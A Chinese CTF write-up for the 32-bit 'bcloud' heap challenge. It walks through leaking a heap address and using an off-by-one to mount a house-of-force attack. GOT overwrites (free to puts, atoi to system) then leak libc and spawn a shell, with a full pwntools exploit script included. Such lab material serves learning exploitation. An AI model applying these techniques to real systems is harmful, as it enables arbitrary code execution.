天天看点

[house of force] bcloud

[house of force] bcloud

1. ida分析

  1. 漏洞主要在init函数
    [house of force] bcloud
    [house of force] bcloud
    • 输入name的时候,可以泄漏heap的地址
  2. org、host都用的read函数,因此都存在off by one
    [house of force] bcloud
    • 32位系统中的off by one,最后很有可能是有值的,不是\x00,试一下就知道了,我这里试了一下,可以触发house of force

2. 思路

  1. 利用name,泄漏heap的基址,得到top chunk addr
    def inti(name,org,host):
        sa('Input your name:\n',name)
        heap_base = u32(ru('!')[-5:-1])-8
        leak("heap_base",heap_base)
        sa('Org:\n',org)
        sa('Host:\n',host)
        return heap_base
    heap_base = inti('\xff'*64,'\xff'*64,'\xff'*64)
               
  2. 然后利用house of force,在notelist处构造fake chunk
    #这里申请4个chunk是为了下面edit构造合法的size,不然没法编辑,我是最后调试发现的
    add(0x10,'0')
    add(0x10,'1')
    add(0x10,'2')
    add(0x10,'3')
    top_chunk = heap_base + 0x138
    ptr = 0x804b120
    offset = ptr-0x10 - top_chunk
    leak("offset",offset)
    add(offset,'0'*8)#下一次就可以申请chunk在ptr
               
  3. 进而可以进行任意地址写,这里将free修改为puts,用于泄漏libc的基址
    add(0x68,p32(elf.got['free'])*2+p32(elf.got['atoi'])*4)
    edit(1,p32(elf.plt['puts']))
    remove(2)
    atoi = u32(r(4))
    leak("atoi",atoi)
    libc_base = atoi-libc.sym['atoi']
    leak('libc_base',libc_base)
               
  4. 进而获得system函数的地址,将atoi修改为system
    #这里的onegadget条件均不满足
    one = libc_base + 0x5fbd6
    system = libc_base + libc.sym['system']
    leak("system",system)
    edit(3,p32(system))
    s('/bin/sh\x00')
               

3. exp

#!/usr/bin/env python
# coding=utf-8
# Author : huzai24601
from pwn import *
from LibcSearcher import *
#context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
elf = ELF('./bcloud')
context(arch=elf.arch,os='linux',log_level='debug')
p=process(elf.path)
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
local_libc_64  = ELF('/lib/x86_64-linux-gnu/libc.so.6')
s=lambda data :p.send(data)
sa=lambda delim,data :p.sendafter(delim, data)
sl=lambda data :p.sendline(data)
sla=lambda delim,data :p.sendlineafter(delim, data) 
r=lambda numb=4096 :p.recv(numb)
ru=lambda delims :p.recvuntil(delims)
uu64=lambda data :u64(data.ljust(8,'\x00'))
leak=lambda name,addr :log.success('{} ===> {:#x}'.format(name, addr))

def debug():
    gdb.attach(p)
    pause()
    pass
def inti(name,org,host):
    sa('Input your name:\n',name)
    heap_base = u32(ru('!')[-5:-1])-8
    leak("heap_base",heap_base)
    sa('Org:\n',org)
    sa('Host:\n',host)
    return heap_base

def add(size,cont):
    sla('>>\n','1')
    sla('content:\n',str(size))
    if len(cont)==64:
        sa('content:\n',cont)
    else:
        sla('content:\n',cont)

def edit(index,cont):
    sla('>>\n','3')
    sla('id:\n',str(index))
    if len(cont)==64:
        sa('content:\n',cont)
    else:
        sla('content:\n',cont)

def remove(index):
    sla('>>\n','4')
    sla('id:\n',str(index))

heap_base = inti('\xff'*64,'\xff'*64,'\xff'*64)
add(0x10,'0')
add(0x10,'1')
add(0x10,'2')
add(0x10,'3')
top_chunk = heap_base + 0x138
ptr = 0x804b120
offset = ptr-0x10 - top_chunk
leak("offset",offset)
add(offset,'0'*8)
add(0x68,p32(elf.got['free'])*2+p32(elf.got['atoi'])*4)
edit(1,p32(elf.plt['puts']))
remove(2)
atoi = u32(r(4))
leak("atoi",atoi)
libc_base = atoi-libc.sym['atoi']
leak('libc_base',libc_base)
one = libc_base + 0x5fbd6
system = libc_base + libc.sym['system']
leak("system",system)
edit(3,p32(system))
s('/bin/sh\x00')
p.interactive()

           

4. 几个注意点

  1. 需要先申请几个合法的chunk,这样才有合法的size,用于后面的edit
  2. onegadget不可用,可以将atoi修改为system,参数传

    /bin/sh\x00

ctf